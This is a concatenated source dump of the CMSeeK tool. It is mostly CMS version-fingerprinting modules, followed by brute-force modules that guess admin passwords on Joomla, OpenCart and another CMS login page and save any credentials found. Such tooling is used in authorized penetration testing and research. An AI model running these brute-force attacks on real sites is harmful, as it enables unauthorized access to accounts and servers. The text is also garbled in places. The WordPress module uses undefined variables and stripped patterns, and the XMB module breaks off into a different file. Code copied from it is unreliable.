CMSeeK-v.1.1.3/VersionDetect/mvnf.py000066400000000000000000000013111370665123600171320ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # mvnForum version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): regex = re.search(r'Powered by(.*?)mvnForum (\d.*?)<\/a>', source) if regex != None: try: version = regex.group(2) cmseek.success('mvnForum version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version except Exception as e: cmseek.error('Version detection failed!') return '0' cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/mybb.py000066400000000000000000000011341370665123600171200ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # MyBB version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): regex = re.findall(r'>MyBB (\d.*?)', source) if regex != []: if regex[0] != '' and regex[0] != ' ': version = regex[0] cmseek.success('MyBB version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/myupb.py000066400000000000000000000011521370665123600173230ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # myUPB version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): regex = re.findall(r'Powered by myUPB v(\d.*?)', source) if regex != []: if regex[0] != '' and regex[0] != ' ': version = regex[0] cmseek.success('myUPB version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/nodebb.py000066400000000000000000000013431370665123600174220ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # NodeBB version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): regex = re.search(r'var config(.*?)"version":"(\d.*?)"', source) if regex != None: try: version = regex.group(2) if version != "": cmseek.success('NodeBB version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version except Exception as e: cmseek.error('lol detection failed!') return '0' cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/ocms.py000066400000000000000000000013141370665123600171300ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # OpenCms Version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(url, ua): kurama = cmseek.getsource(url, ua) header = kurama[2].split('\n') regex = [] for tail in header: if 'Server' in tail and 'OpenCms' in tail: regex = re.findall(r'Server: OpenCms/(.*)', tail) if regex != []: cmseek.success('OpenCms version ' + cmseek.bold + cmseek.fgreen + regex[0] + cmseek.cln + ' detected') return regex[0] else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/ophal.py000066400000000000000000000020651370665123600172760ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Ophal version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content, url, ua): ga_content = ga_content.lower() regex = re.findall(r'ophal (.*?) \(ophal.org\)', ga_content) if regex != []: version = regex[0] cmseek.success('Ophal version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: kurama = cmseek.getsource(url, ua) # copypasta header = kurama[2].split('\n') regex = [] for tail in header: if 'x-powered-by' in tail: regex = re.findall(r'x-powered-by: Ophal (.*?) \(ophal.org\)', tail) if regex != []: cmseek.success('Ophal version ' + cmseek.bold + cmseek.fgreen + regex[0] + cmseek.cln + ' detected') return regex[0] else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/otwsm.py000066400000000000000000000013611370665123600173420ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # OpenText WSM version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): source = source.lower() regex = re.findall(r'published by open text web solutions (.*?) -->', source) if regex != []: version = regex[0] if '-' in version: version = version.split('-') version = version[1].replace(' ', '') cmseek.success('OpenText WSM version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/punbb.py000066400000000000000000000011371370665123600173000ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # PunBB version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): regex = re.findall(r'PunBB (\d.*?),', source) if regex != []: if regex[0] != '' and regex[0] != ' ': version = regex[0] cmseek.success('PunBB version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/pwind.py000066400000000000000000000011371370665123600173130ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # phpWind version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): ga_content = ga_content.lower() regex = re.findall(r'phpwind (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('phpWind version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/qcart.py000066400000000000000000000012521370665123600173020ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Quick.Cart version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): cmseek.statement('Detecting Quick.Cart version using generator meta tag [Method 1 of 1]') regex = re.findall(r'Quick.Cart(.*?)v(.*)', ga_content) if regex != []: version = regex[0][1] cmseek.success('Quick.Cart version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/quick.py000066400000000000000000000011461370665123600173060ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Quick.Cms version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): ga_content = ga_content.lower() regex = re.findall(r'quick.cms v(.*)', ga_content) if regex != []: version = regex[0] cmseek.success('Quick.Cms version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/rbsc.py000066400000000000000000000012421370665123600171200ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # RBS Change version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): cmseek.statement('Detecting RBS Change version using generator meta tag [Method 1 of 1]') regex = re.findall(r'RBS Change (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('RBS Change version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/rite.py000066400000000000000000000011371370665123600171350ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # RiteCMS version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): ga_content = ga_content.lower() regex = re.findall(r'ritecms (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('RiteCMS version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/roadz.py000066400000000000000000000011471370665123600173120ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Roadiz CMS version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): ga_content = ga_content.lower() regex = re.findall(r'roadiz (.*?) -', ga_content) if regex != []: version = regex[0] cmseek.success('Roadiz CMS version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/rock.py000066400000000000000000000011361370665123600171270ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # RockRMS version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): ga_content = ga_content.lower() regex = re.findall(r'rock v(.*)', ga_content) if regex != []: version = regex[0] cmseek.success('Rock RMS version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/sfy.py000066400000000000000000000011501370665123600167660ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Sitefinity version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): ga_content = ga_content.lower() regex = re.findall(r'sitefinity (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('Sitefinity version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/share.py000066400000000000000000000013601370665123600172720ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Microsoft SharePoint Version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(url, ua): kurama = cmseek.getsource(url, ua) header = kurama[2].split('\n') regex = [] for tail in header: if 'MicrosoftSharePointTeamServices' in tail: regex = re.findall(r'MicrosoftSharePointTeamServices: (.*)', tail) if regex != []: cmseek.success('SharePoint version ' + cmseek.bold + cmseek.fgreen + regex[0] + cmseek.cln + ' detected') return regex[0] else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/shopfa.py000066400000000000000000000022151370665123600174500ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # ShopFA version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content, header): cmseek.statement('Detecting ShopFA version using generator meta tag [Method 1 of 2]') regex = re.findall(r'ShopFA (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('ShopFA version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.statement('Detecting ShopFA version using HTTP Headers [Method 2 of 2]') headers = header.split('\n') regex = [] for h in headers: if 'X-Powered-By: ShopFA' in h: regex = re.findall(r'X-Powered-By: ShopFA (.*)', h) if regex != []: version = regex[0] cmseek.success('ShopFA version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/slcms.py000066400000000000000000000011311370665123600173050ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # SeamlessCMS version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): regex = re.findall(r'Published by Seamless.CMS.WebUI, (.*?) -->', source) if regex != []: version = regex[0] cmseek.success('SeamlessCMS version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/smf.py000066400000000000000000000011301370665123600167500ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # SMF version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): regex = re.findall(r'SMF (\d.*?)', source) if regex != []: if regex[0] != '' and regex[0] != ' ': version = regex[0] cmseek.success('SMF version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/snews.py000066400000000000000000000015101370665123600173240ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # sNews version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content,source): regex = re.findall(r'sNews (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('sNews version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: regex = re.findall(r'sNews (.*?)"', source) if regex != []: version = regex[0] cmseek.success('sNews version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/spity.py000066400000000000000000000011111370665123600173320ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Serendipity version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): regex = re.findall(r'Serendipity v.(.*)', ga_content) if regex != []: version = regex[0] cmseek.success('Serendipity version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/subcms.py000066400000000000000000000011131370665123600174600ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Subrion CMS version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): regex = re.findall(r'Subrion CMS (.*?) - ', ga_content) if regex != []: version = regex[0] cmseek.success('Subrion CMS version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/sulu.py000066400000000000000000000012671370665123600171660ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # SULU Version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(url, ua): kurama = cmseek.getsource(url, ua) header = kurama[2].split('\n') regex = [] for tail in header: if 'x-generator' in tail: regex = re.findall(r'x-generator: Sulu/(.*)', tail) if regex != []: cmseek.success('SULU version ' + cmseek.bold + cmseek.fgreen + regex[0] + cmseek.cln + ' detected') return regex[0] else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/tidw.py000066400000000000000000000016021370665123600171360ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra ## TiddlyWiki version detection ## Rev 1 import re import cmseekdb.basic as cmseek def start(source): version = '0' if 'major:' in source and 'minor:' in source and 'revision:' in source: major = re.findall(r'major: (.*?),',source) minor = re.findall(r'minor: (.*?),',source) rev = re.findall(r'revision: (.*?),',source) if major != [] and minor != [] and rev != []: version = major[0] + '.' + minor[0] + '.' + rev[0] cmseek.success('TiddlyWiki version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected!') else: cmseek.warning('Version detection failed!') else: cmseek.warning('Version detection failed!') return version CMSeeK-v.1.1.3/VersionDetect/ubbt.py000066400000000000000000000020551370665123600171260ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # UBB.threads version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source, ga_content): regex = re.findall(r'UBB.threads (\d.*)', ga_content) if regex != []: if regex[0] != '' and regex[0] != ' ': version = regex[0].replace(' ', '') cmseek.success('UBB.threads version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version regex2 = re.search(r'Powered by UBB.threads(.*?)Forum Software (\d.*?)', source) if regex2 != None: try: version = regex2.group(2) cmseek.success('UBB.threads version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version except Exception as e: cmseek.error('Version detection failed!') return '0' cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/uknva.py000066400000000000000000000010751370665123600173170ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # uKnowva version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): regex = re.findall(r'uKnowva (\d.*)', ga_content) if regex != []: version = regex[0] cmseek.success('uKnowva version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/umbraco.py000066400000000000000000000031271370665123600176230ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 Tuhinshubhra # Umbraco version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(headers, url, ua, temp_src=''): cmseek.statement('Detecting Umbraco using headers [Method 1 of 2]') header = headers.split('\n') regex = [] for tail in header: if 'x-umbraco-version:' in tail.lower(): regex = re.findall(r'X-Umbraco-Version: (.*)', tail, re.IGNORECASE) if regex != [] and regex[0] != "": # detection via headers successful cmseek.success('Umbraco version ' + cmseek.bold + cmseek.fgreen + regex[0] + cmseek.cln + ' detected') return regex[0] else: cmseek.statement('Detecting Umbraco using source code [Method 2 of 2]') if temp_src == '': # no additional source code sent so we have to get it temp_url = url + '/umbraco' temp_src = cmseek.getsource(temp_url, ua) if temp_src[0] == '1': temp_src = temp_src[1] else: cmseek.error('Version detection failed!') return '0' new_regex = re.findall('"version"\: "(.*?)"', temp_src) if new_regex != [] and new_regex[0] != "": # detection via headers successful cmseek.success('Umbraco version ' + cmseek.bold + cmseek.fgreen + new_regex[0] + cmseek.cln + ' detected') return new_regex[0] else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/umi.py000066400000000000000000000014341370665123600167640ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # UMI.CMS Version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(url, ua): kurama = cmseek.getsource(url, ua) # was listening to https://soundcloud.com/ahmed-a-zidan/naruto-sad-music no better came to mind header = kurama[2].split('\n') regex = [] for tail in header: if 'X-CMS-Version' in tail: regex = re.findall(r'X-CMS-Version: (.*)', tail) if regex != []: cmseek.success('UMI.CMS version ' + cmseek.bold + cmseek.fgreen + regex[0] + cmseek.cln + ' detected') return regex[0] else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/vanilla.py000066400000000000000000000013261370665123600176200ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Vanilla version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(url, ua): kurama = cmseek.getsource(url, ua) header = kurama[2].split('\n') regex = [] for tail in header: if 'X-Garden-Version: Vanilla' in tail: regex = re.findall(r'X-Garden-Version: Vanilla (\d.*)', tail) if regex != []: cmseek.success('Vanilla version ' + cmseek.bold + cmseek.fgreen + regex[0] + cmseek.cln + ' detected') return regex[0] else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/wgui.py000066400000000000000000000014201370665123600171400ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # WebGUI version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): regex = re.findall(r'WebGUI (.*)', ga_content) if regex != []: if ')' in regex[0]: # This could be done by regex right? if you know how to do so proudly create an issue and show me the way ;) version = regex[0].replace(')','') else: version = regex[0] cmseek.success('WebGUI version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/wp.py000066400000000000000000000050021370665123600166130ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra ## WordPress version detection ## Rev 1 import cmseekdb.basic as cmseek import re def start(id, url, ua, ga, source): version = '0' cmseek.statement('Detecting Version and vulnerabilities') if ga == '1' or ga == '2' or ga == '3': ## something good was going to happen but my sleep messed it up TODO: will fix it later cmseek.statement('Generator Tag Available... Trying version detection using generator meta tag') rr = re.findall(r'https://wordpress.org/\?v=(.*?)', fs[1]) if fv != []: # Not empty good news xD version = fv[0] cmseek.success(cmseek.bold + cmseek.fgreen + "Version Detected, WordPress Version %s" % version + cmseek.cln) else: cmseek.warning("Well even feed was a failure... let's lookup wp-links-opml then") opmls = cmseek.getsource(url + '/wp-links-opml.php', ua) if opmls[0] != '1': # Something messed up real bad cmseek.warning("Couldn't get wp-links-links source code, Error: %s" % opmls[1]) else: fv = re.findall(r'generator=\"wordpress/(.*?)\"', opmls[1]) if fv != []: # Not empty good news xD || you can guess it's copied right? version = fv[0] cmseek.success(cmseek.bold + cmseek.fgreen + "Version Detected, WordPress Version %s" % version + cmseek.cln) else: ## new version detection methods will be added in the future updates cmseek.error("Couldn't Detect Version") #sorry master thingy removed... sounded kinda cheesy -_- version = '0' return version CMSeeK-v.1.1.3/VersionDetect/xe.py000066400000000000000000000010601370665123600166010ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # XpressEngine version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): regex = re.findall(r'XpressEngine (.*)', ga_content) if regex != []: cmseek.success('XpressEngine version ' + cmseek.bold + cmseek.fgreen + regex[0] + cmseek.cln + ' detected') return regex[0] else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/xmb.py000066400000000000000000000016551370665123600167650ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # XMB version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): regex = re.findall(r' " + cmseek.bold + user + cmseek.cln + "\n |\n |--[password]--> " + cmseek.bold + password + cmseek.cln + "\n |") cmseek.success('Enjoy The Hunt!') cmseek.savebrute(url,url + '/user/login',user,password) passfound = '1' break break if passfound == '0': cmseek.error('\n\nCould Not find Password!') print('\n\n') else: cmseek.error("Couldn't find login form... CMSeeK is quitting") cmseek.handle_quit() CMSeeK-v.1.1.3/cmsbrute/joom.py000066400000000000000000000147541370665123600162150ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra ### Joomla Bruteforce module ### Version 1.3 ### This thing took a whole freaking night to build... apperently i was dealing with the cookies in a not so "Wise" manner! ### cmseekbruteforcemodule <- make sure you include this comment in any custom modules you create so that cmseek can recognize it as a part of it's module import cmseekdb.basic as cmseek import cmseekdb.sc as source # Contains function to detect cms from source code import cmseekdb.header as header # Contains function to detect CMS from gathered http headers import cmseekdb.generator as generator import multiprocessing ## Let's speed things up a lil bit (actually a hell lot faster) shell we? from functools import partial ## needed somewhere :/ import sys import cmseekdb.generator as generator import re import urllib.request, urllib.error, urllib.parse import http.cookiejar from html.parser import HTMLParser class extInpTags(HTMLParser): def __init__(self): HTMLParser.__init__(self) self.return_array = {} def handle_starttag(self, tag, attrs): if tag == "input": name = None value = None for nm,val in attrs: if nm == "name": name = val if nm == "value": value = val if name is not None and value is not None: self.return_array.update({name:value}) def testlogin(url,user,passw): url = url + '/administrator/index.php' cj = http.cookiejar.FileCookieJar("cookieszz") opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) joomloginsrc = opener.open(url).read().decode() parser = extInpTags() post_array = parser.feed(joomloginsrc) main_param = {'username':user, 'passwd':passw} other_param = parser.return_array post_data = main_param.copy() post_data.update(other_param) post_datad = urllib.parse.urlencode(post_data).encode("utf-8") ua = cmseek.randomua('generatenewuaeverytimetobesafeiguess') try: with opener.open(url, post_datad) as response: scode = response.read().decode() headers = str(response.info()) rurl = response.geturl() r = ['1', scode, headers, rurl] ## 'success code', 'source code', 'http headers', 'redirect url' return r except Exception as e: e = str(e) r = ['2', e, '', ''] ## 'error code', 'error message', 'empty' return r print('hola') def start(): cmseek.clearscreen() cmseek.banner("Joomla Bruteforce Module") url = cmseek.targetinp("") # input('Enter Url: ') cmseek.info("Checking for Joomla") bsrc = cmseek.getsource(url, cmseek.randomua('foodislove')) joomcnf = '0' if bsrc[0] != '1': cmseek.error("Could not get target source, CMSeek is quitting") cmseek.handle_quit() else: ## Parse generator meta tag parse_generator = generator.parse(bsrc[1]) ga = parse_generator[0] ga_content = parse_generator[1] try1 = generator.scan(ga_content) if try1[0] == '1' and try1[1] == 'joom': joomcnf = '1' else: try2 = source.check(bsrc[1], url) if try2[0] == '1' and try2[1] == 'joom': joomcnf = '1' else: try3 = header.check(bsrc[2]) # Headers Check! if try3[0] == '1' and try3[1] == 'joom': joomcnf = '1' else: joomcnf = '0' if joomcnf != '1': cmseek.error('Could not confirm Joomla... CMSeek is quitting') cmseek.handle_quit() else: cmseek.success("Joomla Confirmed... Confirming form and getting token...") joomloginsrc = cmseek.getsource(url + '/administrator/index.php', cmseek.randomua('thatsprettygay')) if joomloginsrc[0] == '1' and ' " + cmseek.bold + user + cmseek.cln + "\n |\n |--[password]--> " + cmseek.bold + password + cmseek.cln + "\n |") cmseek.success('Enjoy The Hunt!') cmseek.savebrute(url,url + '/administrator/index.php',user,password) passfound = '1' break else: continue break if passfound == '0': cmseek.error('\n\nCould Not find Password!') print('\n\n') else: cmseek.error("Couldn't find login form... CMSeeK is quitting") cmseek.handle_quit() CMSeeK-v.1.1.3/cmsbrute/oc.py000066400000000000000000000114671370665123600156500ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra ### OpenCart Bruteforce module ### Version 1.0 ### cmseekbruteforcemodule <- make sure you include this comment in any custom modules you create so that cmseek can recognize it as a part of it's module import cmseekdb.basic as cmseek import cmseekdb.sc as source # Contains function to detect cms from source code import cmseekdb.header as header # Contains function to detect CMS from gathered http headers import multiprocessing ## Let's speed things up a lil bit (actually a hell lot faster) shell we? from functools import partial ## needed somewhere :/ import sys import cmseekdb.generator as generator import urllib.request def testlogin(url,user,passw,): url = url + '/admin/index.php' ua = cmseek.randomua('generatenewuaeverytimetobesafeiguess') try: ckreq = urllib.request.Request( url, data=urllib.parse.urlencode({'username':user, 'password':passw}).encode("utf-8"), headers={ 'User-Agent': ua } ) with urllib.request.urlopen(ckreq, timeout=4) as response: scode = response.read().decode() headers = str(response.info()) rurl = response.geturl() r = ['1', scode, headers, rurl] ## 'success code', 'source code', 'http headers' return r except Exception as e: e = str(e) r = ['2', e, '', ''] ## 'error code', 'error message', 'empty' return r print('hola') def start(): cmseek.clearscreen() cmseek.banner("OpenCart Bruteforce Module") url = cmseek.targetinp("") # input('Enter Url: ') cmseek.info("Checking for OpenCart") bsrc = cmseek.getsource(url, cmseek.randomua('foodislove')) if bsrc[0] != '1': cmseek.error("Could not get target source, CMSeek is quitting") cmseek.handle_quit() else: ## Parse generator meta tag parse_generator = generator.parse(bsrc[1]) ga = parse_generator[0] ga_content = parse_generator[1] try1 = generator.scan(ga_content) if try1[0] == '1' and try1[1] == 'oc': occnf = '1' else: try2 = source.check(bsrc[1], url) if try2[0] == '1' and try2[1] == 'oc': occnf = '1' else: occnf = '0' if occnf != '1': cmseek.error('Could not confirm OpenCart... CMSeek is quitting') cmseek.handle_quit() else: cmseek.success("OpenCart Confirmed... Checking for OpenCart login form") ocloginsrc = cmseek.getsource(url + '/admin/index.php', cmseek.randomua('thatsprettygay')) if ocloginsrc[0] == '1' and ' " + cmseek.bold + user + cmseek.cln + "\n |\n |--[password]--> " + cmseek.bold + password + cmseek.cln + "\n |") cmseek.success('Enjoy The Hunt!') cmseek.savebrute(url,url + '/admin/index.php',user,password) 